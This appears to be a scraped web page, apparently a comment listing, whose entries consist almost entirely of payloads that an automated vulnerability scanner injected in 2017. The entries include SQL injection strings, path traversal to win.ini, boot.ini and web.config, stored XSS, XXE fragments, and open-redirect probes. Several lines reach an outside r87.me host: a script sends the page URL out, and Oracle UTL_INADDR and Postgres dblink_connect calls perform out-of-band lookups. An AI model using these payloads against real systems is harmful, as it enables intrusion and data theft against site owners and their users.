\r\n 8/23/2017 8:08:14 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:14 AM\r\n

\r\n

\r\n /../../../../../../../../../../windows/win.ini\u0000.aspx\r\n

\r\n
\r\n

\";l=document.createElement(\"link\");l.rel=\"prefetch\";l.href=\"//o010_rdnxucoe5clqmxxmeebhuyv-ug5nzsrd-hh\"+\"dhq.r87.me/r/?\"+location.href;document.head.appendChild(l);//

\r\n

\r\n 8/23/2017 8:08:14 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:14 AM\r\n

\r\n

\r\n file:/windows/win.ini\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:13 AM\r\n

\r\n

\r\n 1 OR 1=1\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:13 AM\r\n

\r\n

\r\n '+netsparker(0x003E4A)+'\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:13 AM\r\n

\r\n

\r\n 54.204.37.212/elmah.axd\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:13 AM\r\n

\r\n

\r\n ' OR 1=1 OR '1'='1\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:13 AM\r\n

\r\n

\r\n /../../../../../../../../../../windows/win.ini\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:13 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:13 AM\r\n

\r\n

\r\n ' OR 1=1 OR '1'='1\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:13 AM\r\n

\r\n

\r\n o010_rdnxurtuqnedkm7atmvcpmyua8haywhucwdoyx.r87.me/p/\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:12 AM\r\n

\r\n

\r\n testsparker.com/elmah.axd\r\n

\r\n
\r\n

\r\n

\r\n 8/23/2017 8:08:12 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:12 AM\r\n

\r\n

\r\n /../../../../../../../../../../web.config\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:12 AM\r\n

\r\n

\r\n OR X='ss\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:12 AM\r\n

\r\n

\r\n 1 OR 17-7=10\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:12 AM\r\n

\r\n

\r\n */netsparker(0x003E48);/*\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:12 AM\r\n

\r\n

\r\n http://testsparker.com/elmah.axd\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:12 AM\r\n

\r\n

\r\n c%3a%5cboot.ini\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:11 AM\r\n

\r\n

\r\n ' OR 1=1 OR 'ns'='ns\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:11 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:11 AM\r\n

\r\n

\r\n AND 'NS='ss\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:11 AM\r\n

\r\n

\r\n file%3a%2fboot.ini\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:11 AM\r\n

\r\n

\r\n body{x:expression(netsparker(0x003E46))}\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:11 AM\r\n

\r\n

\r\n NS\r\nNO\r\n

\r\n
\r\n

\r\n

\r\n 8/23/2017 8:08:11 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:10 AM\r\n

\r\n

\r\n '\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:10 AM\r\n

\r\n

\r\n n;ns:expression(netsparker(0x003E44));\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:10 AM\r\n

\r\n

\r\n php://filter//resource=http://o010_rdnxu9kdfepoeiwpxwju9dydxwr8og6j5kehfb.r87.me/p/\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:10 AM\r\n

\r\n

\r\n 1 OR 1=1\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:10 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:10 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:09 AM\r\n

\r\n

\r\n http://o010_rdnxu8r3qe8x1xwizm6w-a2it_y4nacd-oftvx.r87.me/p/\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:09 AM\r\n

\r\n

\r\n 127.0.0.1/trace.axd\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:09 AM\r\n

\r\n

\r\n %2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:09 AM\r\n

\r\n

\r\n 1 OR 1=1\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:09 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:09 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:08 AM\r\n

\r\n

\r\n <%a style=x:expre/**/ssion(netsparker(0x003E42))>\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:08 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:08 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:08 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:08 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:08 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:07 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:07 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

o010_rdnxua8t29ijj5lcsqcl7xpweyk2i6ljvp96in.r87.me/p/

\r\n

\r\n 8/23/2017 8:08:07 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:07 AM\r\n

\r\n

\r\n ::1/trace.axd\r\n

\r\n
\r\n

o010_rdnxu6tcixy-avunkhsze-67jxpjgkl4jksqxh.r87.me/p/

\r\n

\r\n 8/23/2017 8:08:07 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:07 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:06 AM\r\n

\r\n

\r\n ns../../../../../../../../../../../boot.ini.......................................................................................................................................................................................\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:06 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

php://filter//resource=http://o010_rdnxuu2ie2xhes7eeg9zgowwk3o0idqxj6kon9.r87.me/p/

\r\n

\r\n 8/23/2017 8:08:06 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:06 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:06 AM\r\n

\r\n

\r\n javascript:netsparker(0x003E3E)\r\n

\r\n
\r\n

php://filter//resource=http://o010_rdnxufbfzmvyntutgafdsxhw5gr1uxox5yeqjz.r87.me/p/

\r\n

\r\n 8/23/2017 8:08:06 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:06 AM\r\n

\r\n

\r\n c:\\boot.ini\r\n

\r\n
\r\n

http://o010_rdnxum5-4l2p9tvdmecwn6htpm4dqeunruu3az.r87.me/p/

\r\n

\r\n 8/23/2017 8:08:06 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:06 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:06 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\r\n

\r\n 8/23/2017 8:08:05 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:05 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:05 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://o010_rdnxu_3dmwrd8xvoyshzzkya2kvt_ls1wahl3f.r87.me/p/

\r\n

\r\n 8/23/2017 8:08:05 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:05 AM\r\n

\r\n

\r\n file:/boot.ini\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:05 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\r\n

\r\n 8/23/2017 8:08:05 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:04 AM\r\n

\r\n

\r\n /../../../../../../../../../../boot.ini\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:04 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:04 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:04 AM\r\n

\r\n

\r\n %dtd;]>&a;\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:04 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:04 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:03 AM\r\n

\r\n

\r\n %dtd;]>&a;\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:03 AM\r\n

\r\n

\r\n 127.100.11.2/trace.axd\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:03 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:03 AM\r\n

\r\n

\r\n %dtd;]>&a;\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:03 AM\r\n

\r\n

\r\n /../../../../../../../../../../boot.ini\u0000.aspx\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:03 AM\r\n

\r\n

\r\n 54.204.37.212/trace.axd\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:03 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\r\n

\r\n 8/23/2017 8:08:02 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:02 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:02 AM\r\n

\r\n

\r\n testsparker.com/trace.axd\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:02 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:02 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:01 AM\r\n

\r\n

\r\n http://testsparker.com/trace.axd\r\n

\r\n
\r\n

'\"-->

\r\n

\r\n 8/23/2017 8:08:01 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'\"-->

\r\n

\r\n 8/23/2017 8:08:01 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:01 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:01 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:01 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:00 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:00 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:00 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:00 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:00 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:00 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:59 AM\r\n

\r\n

\r\n \">\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:59 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:59 AM\r\n

\r\n

\r\n https://testsparker.com.r87.com/?\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:59 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:59 AM\r\n

\r\n

\r\n '>\r\n

\r\n
\r\n

%dtd;]>&a;

\r\n

\r\n 8/23/2017 8:07:59 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:59 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

%dtd;]>&a;

\r\n

\r\n 8/23/2017 8:07:58 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:58 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:58 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:58 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:58 AM\r\n

\r\n

\r\n //r87.com/n/j/?0x003E36\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:57 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:57 AM\r\n

\r\n

\r\n //r87.com/n/n.css?0x003E34\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:57 AM\r\n

\r\n

\r\n http://testsparker.com.r87.com/?\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:56 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:56 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:56 AM\r\n

\r\n

\r\n testsparker.com.r87.com/?\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:56 AM\r\n

\r\n

\r\n 1 ns=netsparker(0x003E2A)\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:56 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:56 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

%dtd;]>&a;

\r\n

\r\n 8/23/2017 8:07:56 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

%dtd;]>&a;

\r\n

\r\n 8/23/2017 8:07:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'+convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000)))+'

\r\n

\r\n 8/23/2017 8:07:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:55 AM\r\n

\r\n

\r\n ///r87.com/?testsparker.com/\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:55 AM\r\n

\r\n

\r\n '\" ns=netsparker(0x003E28)\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'||CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))||'

\r\n

\r\n 8/23/2017 8:07:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:54 AM\r\n

\r\n

\r\n /\\r87.com/?testsparker.com/\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:54 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:54 AM\r\n

\r\n

\r\n /../../../../../../../../../../boot.ini\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:54 AM\r\n

\r\n

\r\n r87.com/?https://testsparker.com/\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:54 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:53 AM\r\n

\r\n

\r\n data:;base64,JyI+PHNjcmlwdD5uZXRzcGFya2VyKDB4MDAzRTI2KTwvc2NyaXB0Pg==\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:52 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:52 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:52 AM\r\n

\r\n

\r\n %27%22--%3E%3C%2Fstyle%3E%3C%2FscRipt%3E%3CscRipt%3Enetsparker%280x003E24%29%3C%2FscRipt%3E\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:52 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:52 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:51 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:51 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:51 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:51 AM\r\n

\r\n

\r\n '\"-->\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:51 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxuyoz3ygz7o3fb-fbmgahlo9g02qfwt7'||'o9q.r87.me') from DUAL))||'

\r\n

\r\n 8/23/2017 8:07:50 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:50 AM\r\n

\r\n

\r\n r87.com/?http://testsparker.com/\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:50 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:50 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxupwyriz8l3hafztwi5bxtvogbklimak'||'jsg.r87.me') from DUAL))||'

\r\n

\r\n 8/23/2017 8:07:49 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:49 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:49 AM\r\n

\r\n

\r\n r87.com/?testsparker.com/\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:49 AM\r\n

\r\n

\r\n \"+print localtime()*0+0xFFF9999-22+\"\r\n

\r\n
\r\n

(length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxupjxsp5b-tc8mrkphwqyrjbysj9dta6'||'mu4.r87.me') from DUAL))))

\r\n

\r\n 8/23/2017 8:07:49 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:48 AM\r\n

\r\n

\r\n //r87.com/?http://testsparker.com/\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:48 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

(length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxuntiadxvpt2vjilow5dxqk_zgklc92l'||'lga.r87.me') from DUAL))))

\r\n

\r\n 8/23/2017 8:07:48 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:48 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:48 AM\r\n

\r\n

\r\n '+print localtime()*0+0xFFF9999-22+'\r\n

\r\n
\r\n

(length(CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))))

\r\n

\r\n 8/23/2017 8:07:48 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:48 AM\r\n

\r\n

\r\n http://r87.com/?testsparker.com/\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:47 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:47 AM\r\n

\r\n

\r\n eval('print localtime()*0+0xFFF9999-22')\r\n

\r\n
\r\n

(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxu6olwxenayn61zuznzvkpieqw2uxuss'||'zqo.r87.me') from DUAL)

\r\n

\r\n 8/23/2017 8:07:47 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:47 AM\r\n

\r\n

\r\n print localtime()*0+0xFFF9999-22\r\n

\r\n
\r\n

(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxu5bux1l7536c7txqvw2vvoxrdqbr4ju'||'dau.r87.me') from DUAL)

\r\n

\r\n 8/23/2017 8:07:46 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:46 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:46 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'||cast((SELECT dblink_connect('host=o010_rdnxuamtijxrh_ua47ll7e6-nc4qrs7wicc'||'wby.r87.me user=a password=a connect_timeout=2')) as numeric)||'

\r\n

\r\n 8/23/2017 8:07:46 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'||cast((SELECT dblink_connect('host=o010_rdnxu_0yjiybkjb8gteg5wkotzgoa1zifn1'||'bme.r87.me user=a password=a connect_timeout=2')) as numeric)||'

\r\n

\r\n 8/23/2017 8:07:46 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

cast((SELECT dblink_connect('host=o010_rdnxuddfqmvhh1jbp6oafwbchqjv2quvajg'||'yru.r87.me user=a password=a connect_timeout=2')) as numeric)

\r\n

\r\n 8/23/2017 8:07:45 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:45 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

cast((SELECT dblink_connect('host=o010_rdnxugpapkhq8ssuvqftyjaxfcqkladiscr'||'mia.r87.me user=a password=a connect_timeout=2')) as numeric)

\r\n

\r\n 8/23/2017 8:07:45 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:45 AM\r\n

\r\n

\r\n http://r87.com/?testsparker.com/\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:45 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:45 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

dblink_connect('host=o010_rdnxuzkqd2xzqzomqtyhwubjnsm7qrtw41t'||'hmy.r87.me user=a password=a connect_timeout=2')

\r\n

\r\n 8/23/2017 8:07:44 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1 procedure analyse(extractvalue(rand(),concat(0x3a,CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)))),1)-- 1

\r\n

\r\n 8/23/2017 8:07:44 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

dblink_connect('host=o010_rdnxuagjvg0f2rhewf39zzrgsd8gd5a9nzl'||'mxi.r87.me user=a password=a connect_timeout=2')

\r\n

\r\n 8/23/2017 8:07:44 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:44 AM\r\n

\r\n

\r\n [php]print(int)0xFFF9999-22;[/php]\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:44 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

SELECT dblink_connect('host=o010_rdnxuvwmotchao5p8ee8yqxr8vb08wancnl'||'zrg.r87.me user=a password=a connect_timeout=2')

\r\n

\r\n 8/23/2017 8:07:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

-1\\'+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))-- 1

\r\n

\r\n 8/23/2017 8:07:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:43 AM\r\n

\r\n

\r\n '{${print(int)0xFFF9999-22}}'\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

SELECT dblink_connect('host=o010_rdnxuet4tsuzg8phsdufx201xezqei3nqw4'||'3gg.r87.me user=a password=a connect_timeout=2')

\r\n

\r\n 8/23/2017 8:07:42 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:42 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:42 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

